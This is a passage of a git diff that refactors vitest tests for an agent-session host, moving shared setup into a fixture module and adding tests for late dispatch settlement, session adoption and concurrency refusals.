expect(rig.store.listOperationRows()).toEqual([]) - expect(rig.store.listVisibleSessionIds()).toEqual([]) + expect(fixture.rig.store.listRecords()).toEqual([]) + expect(fixture.rig.store.listOperationRows()).toEqual([]) + expect(fixture.rig.store.listVisibleSessionIds()).toEqual([]) return } expect(result.ok).toBe(true) if (!result.ok) { throw new Error('Real selected-account adoption failed') } - const snapshot = await rig.host.journalSnapshot(SESSION) + const snapshot = await fixture.rig.host.journalSnapshot(SESSION) expect(snapshot.items.map(({ body }) => body)).toEqual( _kind === 'legacy' ? [ @@ -212,407 +149,10 @@ it.each([ ] ) expect(result.value.page.items).toEqual(snapshot.items) - expect(rig.store.getRecord(SESSION)?.accountHome).toEqual(accountHome) - expect(rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ + expect(fixture.rig.store.getRecord(SESSION)?.accountHome).toEqual(accountHome) + expect(fixture.rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ { origin: 'adopted', mintedAtFence: 1, handle: { nativeId: THREAD } } ]) - expect(rig.store.listVisibleSessionIds()).toEqual([SESSION]) - } -) - -it.each([100, 1000])( - 'imports %s source rows into a linked workspace with one fresh probe and zero replay work', - async (size) => { - const physical = await realpath(rig.root) - const registered = join(rig.root, 'registered') - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - const transcriptPath = join(rig.root, `${THREAD}.jsonl`) - // Captured CLI transcript metadata; relocate fixture identity/cwd into the isolated host. - const captured = ( - await readFile( - join(__dirname, '..', '__fixtures__', 'openclaude-0.31.0-local-command-rows.jsonl'), - 'utf8' - ) - ) - .split('\n') - .filter(Boolean) - .map((line) => JSON.parse(line)) - .find((row) => row.type === 'user' && !row.isMeta) - expect(captured.cwd).toBe('/tmp/project') - await writeFile( - transcriptPath, - `${Array.from({ length: size }, (_, index) => - JSON.stringify({ - ...captured, - uuid: `original-${index}`, - sessionId: THREAD, - cwd: physical, - message: { role: 'user', content: 'original physical-keyed context' } - }) - ).join('\n')}\n` - ) - const params = createTestParams(undefined, { - agent: 'claude', - provider: 'claude', - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: rig.root }, - adopt: { - providerHandle: claudeProviderHandle(THREAD, null), - transcriptPath, - source: { providerSessionId: THREAD, workspaceCwd: registered } - } - }) - const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') - const publishTab = vi.fn(async () => { - expect(rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe(THREAD) - }) - const result = await rig.host.create(CALLER, params, { publishTab }) - expect(result).toMatchObject({ - ok: true, - value: { - page: { - items: expect.arrayContaining([ - expect.objectContaining({ - body: expect.objectContaining({ - blocks: [{ type: 'text', text: 'original physical-keyed context' }] - }) - }) - ]) - } - } - }) - expect(publishTab).toHaveBeenCalledOnce() - expect(rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) - expect(params.adopt?.source?.workspaceCwd).toBe(registered) - const record = rig.store.getRecord(SESSION)! - expect( - await resolveAgentSessionLaunchDirectory( - { store: rig.store, resolveWorkspacePath: async () => registered }, - record - ) - ).toBe(registered) - expect(record.providerHandleChain[0].handle.nativeId).toBe(THREAD) - const hasTranscript = vi.fn( - async ({ - providerSessionId, - claudeConfigDir - }: { - providerSessionId: string - claudeConfigDir: string - }) => - providerSessionId === THREAD && - claudeConfigDir === rig.root && - (await readFile(transcriptPath, 'utf8')).includes(THREAD) - ) - const launch = await createClaudeStructuredLaunchResolver({ - store: rig.store, - resolveWorkspacePath: async () => registered, - resolveCommand: () => ({ command: process.execPath, prefixArgs: [] }), - resolveInheritedEnv: async () => ({}), - resolveAuthPolicy: () => ({ account: 'system' }), - resolveLaunchArgs: () => [], - hasTranscript - })({ - identity: { - sessionId: SESSION, - workspaceId: record.location.workspaceId, - hostId: 'local', - agent: 'claude', - providerHandle: record.providerHandleChain[0].handle - } - }) - expect(launch).toMatchObject({ - cwd: registered, - providerSessionId: THREAD, - claudeConfigDir: rig.root, - options: { resume: THREAD } - }) - expect(hasTranscript).toHaveBeenCalledWith({ - providerSessionId: THREAD, - claudeConfigDir: rig.root - }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(probe).toHaveBeenCalledOnce() - await rig.host.flushAllStreamedEvents() - await rig.restart() - await rm(transcriptPath) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true, replayed: true }) - expect(probe).toHaveBeenCalledOnce() - } -) - -it('uses current selected ancestors, then refuses retargeted/foreign sources before ownership', async () => { - const physical = join(await realpath(rig.root), 'physical') - const moved = join(await realpath(rig.root), 'moved') - const registered = join(rig.root, 'registered') - await mkdir(physical) - await mkdir(moved) - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - await symlink(moved, join(physical, 'pkg'), process.platform === 'win32' ? 'junction' : 'dir') - const sourceCwd = join(physical, 'pkg') - const workspaceCwd = join(registered, 'pkg') - expect(await realpath(workspaceCwd)).toBe(moved) - const transcriptPath = join(rig.root, `${THREAD}.jsonl`) - const save = async (sessionId: string, cwd: string) => - writeFile( - transcriptPath, - `${JSON.stringify({ - type: 'user', - uuid: 'original', - sessionId, - cwd, - message: { role: 'user', content: 'ancestor context' } - })}\n` - ) - const params = createTestParams(undefined, { - agent: 'claude', - provider: 'claude', - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: rig.root }, - adopt: { - providerHandle: claudeProviderHandle(THREAD, null), - transcriptPath, - source: { providerSessionId: THREAD, workspaceCwd } - } - }) - const probe = vi.spyOn(adoptedDirectoryProbes, 'matches') - await save('wrong-provider', sourceCwd) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: false }) - expect(probe).not.toHaveBeenCalled() - await save(THREAD, join(rig.root, 'foreign')) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: false }) - expect(rig.store.listRecords()).toEqual([]) - await save(THREAD, sourceCwd) - await rm(registered) - await symlink(moved, registered, process.platform === 'win32' ? 'junction' : 'dir') - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: false }) - expect(rig.store.listRecords()).toEqual([]) - await rm(registered) - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true }) - expect(probe).toHaveBeenLastCalledWith(workspaceCwd, sourceCwd, expect.any(AbortSignal)) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true, replayed: true }) -}) - -it.each(['opencode', 'opencode2'] as const)( - 'commits %s actual database history using the same linked-cwd admission', - async (agent) => { - const definition = structuredAgentRuntimeRegistration(agent)!.definition - await rig.dispose() - rig = await createRestTestRig({ agents: structuredAgentsDeclaringNothing([definition]) }) - const physical = await realpath(rig.root) - const registered = join(rig.root, 'registered') - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - const transcriptPath = join(rig.root, 'opencode.db') - writeOpenCodeSqliteDatabase(transcriptPath, [ - { id: THREAD, directory: physical, turns: [{ role: 'user', parts: ['database context'] }] } - ]) - const params = createTestParams(undefined, { - agent, - provider: agent, - accountHome: { kind: 'opencode', locator: { kind: 'unmanaged' } }, - adopt: { - providerHandle: { agent, transport: definition.handleTransport, nativeId: THREAD }, - transcriptPath, - source: { providerSessionId: THREAD, workspaceCwd: registered } - } - }) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true }) - expect(rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe(THREAD) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - } -) - -it('imports adoption at rest and resumes its original provider identity after its source disappears', async () => { - const params = await adoptedParams() - expect(await rig.host.create(CALLER, params)).toMatchObject({ - ok: true, - value: { - page: { - items: expect.arrayContaining([ - expect.objectContaining({ - body: expect.objectContaining({ blocks: [{ type: 'text', text: 'adopted history' }] }) - }) - ]) - } - } - }) - expect(rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ - { origin: 'adopted', mintedAtFence: 1, handle: { nativeId: THREAD } } - ]) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - await rm(join(rig.root, 'rollout.jsonl')) - expect( - await rig.host.create(CALLER, { - ...params, - accountHome: { variable: 'CODEX_HOME', path: '/drifted/account' }, - adopt: { providerHandle: codexProviderHandle(THREAD) } - }) - ).toMatchObject({ ok: true, replayed: true }) - expect(await rig.host.send(CALLER, restTestSend('new work'))).toMatchObject({ ok: true }) - await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledOnce()) - expect(rig.adapter.acquire).toHaveBeenCalledWith( - expect.objectContaining({ - identity: expect.objectContaining({ - providerHandle: expect.objectContaining({ nativeId: THREAD }) - }) - }) - ) - expect(rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) -}) - -it('refuses concurrent adoption of a provider conversation by another session', async () => { - const params = await adoptedParams() - const results = await Promise.all([ - rig.host.create(CALLER, params), - rig.host.create(CALLER, anotherSession(params)) - ]) - expect(results.filter((result) => result.ok)).toHaveLength(1) - expect(results.filter((result) => !result.ok)).toMatchObject([ - { - refusal: { - code: 'agent_session_conflict', - details: { - reason: 'conversationHeldElsewhere', - owner: { sessionId: expect.any(String), workspaceId: params.location.workspaceId } - }, - createAttemptRefusedBeforeCommit: true - } - } - ]) - expect(rig.store.listRecords()).toHaveLength(1) - expect(rig.store.listOperationRows()).toHaveLength(1) - expect(rig.adapter.acquire).not.toHaveBeenCalled() -}) - -it('refuses concurrent founding under a tab another chat already owns', async () => { - const params = createTestParams(undefined, { surfaceTabId: 'reserved-chat-tab' }) - const results = await Promise.all([ - rig.host.create(CALLER, params), - rig.host.create(CALLER, anotherSession(params)) - ]) - expect(results.filter((result) => result.ok)).toHaveLength(1) - expect(results.filter((result) => !result.ok)).toMatchObject([ - { refusal: { code: 'agent_session_conflict', details: { reason: 'tabIdTaken' } } } - ]) - expect(rig.store.listVisibleSessionIds()).toHaveLength(1) - expect(rig.adapter.acquire).not.toHaveBeenCalled() -}) - -it.each(['missing', 'empty', 'malformed'] as const)( - 'refuses %s history before founding anything', - async (source) => { - const params = await adoptedParams() - await (source === 'missing' - ? rm(join(rig.root, 'rollout.jsonl')) - : writeFile(join(rig.root, 'rollout.jsonl'), source === 'empty' ? '' : '{broken json}\n')) - expect(await rig.host.create(CALLER, params)).toMatchObject({ - ok: false, - refusal: { - code: 'agent_session_identity_required', - details: { reason: source === 'empty' ? 'transcriptNotFound' : 'transcriptUnreadable' }, - createAttemptRefusedBeforeCommit: true - } - }) - expect(rig.store.listRecords()).toEqual([]) - expect(rig.store.listOperationRows()).toEqual([]) - } -) - -it('does not found a record whose account namespace its agent cannot drive', async () => { - const params = createTestParams(undefined, { - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: '/wrong/account' } - }) - expect(await rig.host.create(CALLER, params)).toMatchObject({ - ok: false, - refusal: { code: 'structured_agent_session_unsupported' } - }) - expect(rig.store.listRecords()).toEqual([]) - expect(rig.store.listOperationRows()).toEqual([]) -}) - -it.each([ - { executionHostId: 'local', wslDistro: null }, - { executionHostId: 'ssh:host-1', wslDistro: null }, - { executionHostId: 'local', wslDistro: 'Ubuntu' }, - { executionHostId: 'runtime:paired-host', wslDistro: null } -] as const)( - 'preserves folder execution identity at rest: $executionHostId $wslDistro', - async (location) => { - const params = createTestParams(undefined, { - location: { ...location, workspaceId: 'folder-1', workspaceKind: 'folder' } - }) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true }) - expect(rig.store.getRecord(SESSION)?.location).toEqual(params.location) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - } -) - -it('pins the host-resolved directory of a floating chat before any acquire', async () => { - const params = createTestParams(undefined, { - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: FLOATING_TERMINAL_WORKTREE_ID, - workspaceKind: 'folder' - } - }) - expect(await rig.host.create(CALLER, params, { hostLaunchDirectory: rig.root })).toMatchObject({ - ok: true - }) - expect(rig.store.getRecord(SESSION)?.launchDirectory).toBe(rig.root) - expect(rig.adapter.acquire).not.toHaveBeenCalled() -}) - -it.each(['adopted', 'blank'] as const)( - 'retries a rolled-back create with only the new %s history', - async (nextSource) => { - const first = { clientMessageId: hostTestOperationId(), body: hostTestMessage('first attempt') } - const adopted = await adoptedParams('old imported history') - const db = openTestJournalHostDatabase(rig.root).db - db.exec( - `CREATE TRIGGER refuse_first BEFORE INSERT ON journal_rows WHEN NEW.row_json LIKE '%"kind":"submission"%' BEGIN SELECT RAISE(ABORT, 'simulated first write failure'); END` - ) - expect( - await rig.host.create(CALLER, createTestParams(first, adopted), { firstMessage: first }) - ).toMatchObject({ ok: false }) - expect(rig.store.getRecord(SESSION)).toBeNull() - expect(rig.store.listOperationRows()).toEqual([]) - db.exec('DROP TRIGGER refuse_first') - const next = { clientMessageId: hostTestOperationId(), body: hostTestMessage('next attempt') } - const nextParams = - nextSource === 'adopted' - ? await adoptedParams('new imported history', '019fd532-7c11-7a90-b6de-4e1a2c3d5f61') - : createTestParams() - let stopping: ReturnType | undefined - const result = await rig.host.create( - CALLER, - createTestParams(next, { - ...nextParams, - envelope: { ...nextParams.envelope, clientOperationId: hostTestOperationId() } - }), - { - firstMessage: next, - publishTab: async () => { - stopping = stopCreatedChat(rig.host) - } - } - ) - expect(result).toMatchObject({ ok: true }) - if (!result.ok) { - throw new Error('retry create failed') - } - const history = (text: string) => - expect.objectContaining({ - body: expect.objectContaining({ blocks: [{ type: 'text', text }] }) - }) - expect(result.value.page.items).not.toEqual( - expect.arrayContaining([history('old imported history')]) - ) - if (nextSource === 'adopted') { - expect(result.value.page.items).toEqual( - expect.arrayContaining([history('new imported history')]) - ) - } - expect(await stopping).toMatchObject({ ok: true }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.store.listVisibleSessionIds()).toEqual([SESSION]) } ) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts index 607776d1a61..bf0d0a05834 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts @@ -19,7 +19,7 @@ import { type StructuredAgentSessionState } from '../../../shared/structured-agent-session-reducer' import { - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' @@ -244,9 +244,10 @@ describe('a waiting card when the generation ahead of it ends', () => { expect(journal.queuedMessages.get(card?.messageId ?? '')?.state).toBe('dispatched') ) // Generation-end publication alone must wake delivery without an intervening journal write. - const first = liveTestJournalRows(database.db, SESSION).find((row) => row.seq > before) - expect(JSON.parse(first?.rowJson ?? '{}')).toMatchObject({ - kind: 'submission', + const first = readTestJournalOutcomes(database.db, SESSION).find( + (row) => row.seq > before && row.field === 'submissions' + ) + expect(JSON.parse(first?.json ?? '[null, {}]')[1]).toMatchObject({ queuedMessageId: card?.messageId }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts index 0d4fb78ee9f..0a64e9dd7b1 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts @@ -145,8 +145,7 @@ export class StructuredAgentSessionHost { private now = (): number => this.deps.now?.() ?? Date.now() hasSession = (sessionId: string): boolean => this.sessions.has(sessionId) - loadedSessionIds = (): string[] => - [...this.sessions].flatMap(([sessionId, { child }]) => (child ? [sessionId] : [])) + loadedSessionIds = this.sessions.loadedSessionIds hasLoadedProviders = (): boolean => this.loadedSessionIds().length > 0 sessionAgent = (sessionId: string) => this.deps.store.getConversation(sessionId)?.provider ?? null diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts new file mode 100644 index 00000000000..e1f897b27aa --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts @@ -0,0 +1,136 @@ +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { describe, expect, it, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestOperationId +} from './structured-agent-session-host-test-data' + +import { + fixture, + CALLER, + handedOver, + journal, + sendParams, + submissions +} from './structured-agent-session-late-settlement-contract-test-fixture' + +describe('settling a send the provider proves it received after the ack window', () => { + it('a receipt after Stop withdrew an unwritten send keeps it cancelled', async () => { + fixture.dispatch.mockImplementationOnce( + (input) => + new Promise((_resolve, reject) => { + input.signal?.addEventListener('abort', () => reject(input.signal?.reason), { + once: true + }) + }) + ) + const params = sendParams('stopped before its write') + await fixture.host.send(CALLER, params) + await handedOver(params.envelope.clientOperationId) + expect(fixture.dispatch.mock.calls[0]?.[0].signal).toBeDefined() + + const stopped = await fixture.host.cancel(CALLER, { + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fixture.store.getRecord(SESSION)?.lease.runtimeFence ?? 1, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.cancel', + sessionId: SESSION, + fields: {} + }) + } + }) + expect(stopped).toMatchObject({ ok: true }) + await vi.waitFor(async () => + expect(await submissions()).toMatchObject([{ dispatchState: 'rejected' }]) + ) + const before = journal().cursor() + await fixture.host.settleLateDispatch({ + sessionId: SESSION, + clientMessageId: params.envelope.clientOperationId, + providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } + }) + + const after = journal().readSince(before) + expect(after.ok && after.rows.filter((row) => row.kind === 'dispatch')).toEqual([]) + + expect(await submissions()).toMatchObject([ + { + clientMessageId: params.envelope.clientOperationId, + dispatchState: 'rejected', + rejection: { kind: 'cancelled' } + } + ]) + }) + + it('accepts from the durable echo row when the direct settlement write fails', async () => { + fixture.dispatch.mockResolvedValueOnce({ state: 'admitted' }) + const params = sendParams('settle from provider echo') + await fixture.host.send(CALLER, params) + await handedOver(params.envelope.clientOperationId) + vi.spyOn(journal(), 'acceptLate').mockRejectedValueOnce( + new Error('direct settlement write failed') + ) + + await expect( + fixture.host.settleLateDispatch({ + sessionId: SESSION, + clientMessageId: params.envelope.clientOperationId, + providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' } + }) + ).rejects.toThrow('direct settlement write failed') + await journal().appendItem( + { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' }, + params.body, + { + fence: fixture.store.getRecord(SESSION)?.lease.runtimeFence ?? 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + + expect(await submissions()).toMatchObject([ + { + clientMessageId: params.envelope.clientOperationId, + dispatchState: 'accepted', + providerItemId: `claude:${THREAD}:echo-row` + } + ]) + }) + + it('leaves an already accepted send alone, adding no row', async () => { + fixture.dispatch.mockResolvedValueOnce({ state: 'admitted' }) + const params = sendParams('ordinary send') + await fixture.host.send(CALLER, params) + await handedOver(params.envelope.clientOperationId) + const before = journal().cursor() + const receipt = (uuid: string) => + fixture.host.settleLateDispatch({ + sessionId: SESSION, + clientMessageId: params.envelope.clientOperationId, + providerIdentity: { provider: 'claude', sessionId: THREAD, uuid } + }) + + await Promise.all([receipt('echo-row'), receipt('echo-row')]) + await receipt('a-different-uuid') + + const after = journal().readSince(before) + expect(after.ok && after.rows).toHaveLength(1) + expect(journal().submission(params.envelope.clientOperationId)).toMatchObject({ + dispatchState: 'accepted', + providerItemId: `claude:${THREAD}:echo-row` + }) + }) + + it('ignores a session this host is not holding', async () => { + await expect( + fixture.host.settleLateDispatch({ + sessionId: 'session-that-is-not-attached', + clientMessageId: 'whatever', + providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'x' } + }) + ).resolves.toBeUndefined() + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts new file mode 100644 index 00000000000..e52ab14e281 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts @@ -0,0 +1,180 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, vi, type Mock } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import type { AgentSessionMutationEnvelope } from '../../../shared/agent-session-wire' +import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' +import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import type { + AgentSessionDispatchOutcome, + StructuredAgentSessionAdapter +} from './structured-agent-session-adapter' +import { StructuredAgentSessionHost } from './structured-agent-session-host' +import { + HOST_TEST_NOW as NOW, + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestAttachParams, + hostTestMessage, + hostTestOperationId, + resetHostTestOperationIds +} from './structured-agent-session-host-test-data' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' +import { startsWhenPublished } from './structured-agent-session-instant-start.test-support' + +export const CALLER = { callerKey: 'client-1' } + +let root: string + +let store: AgentSessionRecordStore + +let host: StructuredAgentSessionHost + +let dispatch: Mock + +let closeSession: Mock> + +export function accepted(): AgentSessionDispatchOutcome { + return { + state: 'accepted', + providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } + } +} + +export function sendParams(text: string): { + envelope: AgentSessionMutationEnvelope + body: ReturnType +} { + const body = hostTestMessage(text) + return { + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: SESSION, + fields: { body } + }) + }, + body + } +} + +export async function submissions(): Promise { + const state = await host.history({ sessionId: SESSION, direction: 'tail' }) + return state.ok ? state.page.submissions : null +} + +export function journal(): AgentSessionJournal { + return ( + host as unknown as { sessions: Map } + ).sessions.get(SESSION)!.journal +} + +export async function handedOver(clientMessageId: string): Promise { + await vi.waitFor(async () => { + expect( + journal() + .submissions() + .find((entry) => entry.clientMessageId === clientMessageId)?.handedOverAt + ).toBeDefined() + expect(dispatch).toHaveBeenCalled() + }) +} + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-wire-late-settle-')) + resetHostTestOperationIds() + dispatch = vi.fn(async () => accepted()) + closeSession = vi.fn(async () => true) + store = await openTestAgentSessionRecordStore(root) + host = new StructuredAgentSessionHost({ + agents: NO_STRUCTURED_AGENTS, + logger: createStructuredAgentSessionLogger(), + store, + adapter: startsWhenPublished( + { + open: async () => ({ + reportedOptions: { model: '' } + }), + acquire: vi.fn(async ({ fence }) => ({ + acquisitionGeneration: globalThis.crypto.randomUUID(), + process: { + hostId: 'local', + pid: 4242, + processStartTimeMs: 1_700_000_000_000, + spawnToken: store.getRecord(SESSION)?.lease.reservedSpawnToken ?? 'spawn-a' + }, + link: { + linkId: `link-${fence}`, + handle: codexProviderHandle(THREAD), + origin: 'created' as const, + mintedAtFence: fence, + observedAt: NOW + } + })), + releaseAcquisition: vi.fn(async () => true), + dispatch, + closeSession, + cancelTurn: vi.fn(async () => ({ cancelled: true })), + answerPrompt: vi.fn(async () => undefined), + setOption: vi.fn(async () => undefined) + }, + () => host + ), + journalDatabase: openTestJournalHostDatabase(root), + claimKeyId: 'key-1', + mintSpawnToken: () => 'spawn-a', + now: () => NOW + }) + expect((await host.attach(CALLER, hostTestAttachParams(null))).ok).toBe(true) +}) + +afterEach(async () => { + await host.flushAllStreamedEvents() + await host.close(SESSION, 'evict') + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +export const fixture = { + get closeSession() { + return closeSession + }, + set closeSession(value: typeof closeSession) { + closeSession = value + }, + get dispatch() { + return dispatch + }, + set dispatch(value: typeof dispatch) { + dispatch = value + }, + get host() { + return host + }, + set host(value: typeof host) { + host = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + get store() { + return store + }, + set store(value: typeof store) { + store = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts index a585a428aaf..0e7ec86e66d 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement.test.ts @@ -1,180 +1,48 @@ -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest' -import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { describe, expect, it, vi } from 'vitest' import { DISPATCH_REJECTED_CANCELLED } from '../../../shared/structured-agent-session-dispatch-rejection' -import type { - AgentSessionMutationEnvelope, - AgentSessionSubscribeEvent -} from '../../../shared/agent-session-wire' -import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' -import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import type { - AgentSessionDispatchOutcome, - StructuredAgentSessionAdapter -} from './structured-agent-session-adapter' -import { StructuredAgentSessionHost } from './structured-agent-session-host' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import type { AgentSessionDispatchOutcome } from './structured-agent-session-adapter' import { - HOST_TEST_NOW as NOW, HOST_TEST_SESSION as SESSION, - HOST_TEST_THREAD as THREAD, - hostTestAttachParams, - hostTestMessage, - hostTestOperationId, - resetHostTestOperationIds + HOST_TEST_THREAD as THREAD } from './structured-agent-session-host-test-data' import { agentSessionFailureFact } from '../../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { - closeTestJournalHostDatabases, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' -import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' -import { startsWhenPublished } from './structured-agent-session-instant-start.test-support' - import { closeStructuredAgentSessionHandovers, finalizingStructuredAgentSessionInput, structuredAgentSessionHandingOver } from './structured-agent-session-handing-over' -const CALLER = { callerKey: 'client-1' } - -let root: string -let store: AgentSessionRecordStore -let host: StructuredAgentSessionHost -let dispatch: Mock -let closeSession: Mock> - -function accepted(): AgentSessionDispatchOutcome { - return { - state: 'accepted', - providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } - } -} - -function sendParams(text: string): { - envelope: AgentSessionMutationEnvelope - body: ReturnType -} { - const body = hostTestMessage(text) - return { - envelope: { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.send', - sessionId: SESSION, - fields: { body } - }) - }, - body - } -} - -async function submissions(): Promise { - const state = await host.history({ sessionId: SESSION, direction: 'tail' }) - return state.ok ? state.page.submissions : null -} - -function journal(): AgentSessionJournal { - return ( - host as unknown as { sessions: Map } - ).sessions.get(SESSION)!.journal -} - -async function handedOver(clientMessageId: string): Promise { - await vi.waitFor(async () => { - expect( - journal() - .submissions() - .find((entry) => entry.clientMessageId === clientMessageId)?.handedOverAt - ).toBeDefined() - expect(dispatch).toHaveBeenCalled() - }) -} - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-wire-late-settle-')) - resetHostTestOperationIds() - dispatch = vi.fn(async () => accepted()) - closeSession = vi.fn(async () => true) - store = await openTestAgentSessionRecordStore(root) - host = new StructuredAgentSessionHost({ - agents: NO_STRUCTURED_AGENTS, - logger: createStructuredAgentSessionLogger(), - store, - adapter: startsWhenPublished( - { - open: async () => ({ - reportedOptions: { model: '' } - }), - acquire: vi.fn(async ({ fence }) => ({ - acquisitionGeneration: globalThis.crypto.randomUUID(), - process: { - hostId: 'local', - pid: 4242, - processStartTimeMs: 1_700_000_000_000, - spawnToken: store.getRecord(SESSION)?.lease.reservedSpawnToken ?? 'spawn-a' - }, - link: { - linkId: `link-${fence}`, - handle: codexProviderHandle(THREAD), - origin: 'created' as const, - mintedAtFence: fence, - observedAt: NOW - } - })), - releaseAcquisition: vi.fn(async () => true), - dispatch, - closeSession, - cancelTurn: vi.fn(async () => ({ cancelled: true })), - answerPrompt: vi.fn(async () => undefined), - setOption: vi.fn(async () => undefined) - }, - () => host - ), - journalDatabase: openTestJournalHostDatabase(root), - claimKeyId: 'key-1', - mintSpawnToken: () => 'spawn-a', - now: () => NOW - }) - expect((await host.attach(CALLER, hostTestAttachParams(null))).ok).toBe(true) -}) - -afterEach(async () => { - await host.flushAllStreamedEvents() - await host.close(SESSION, 'evict') - await closeTestJournalHostDatabases() - await rm(root, { recursive: true, force: true 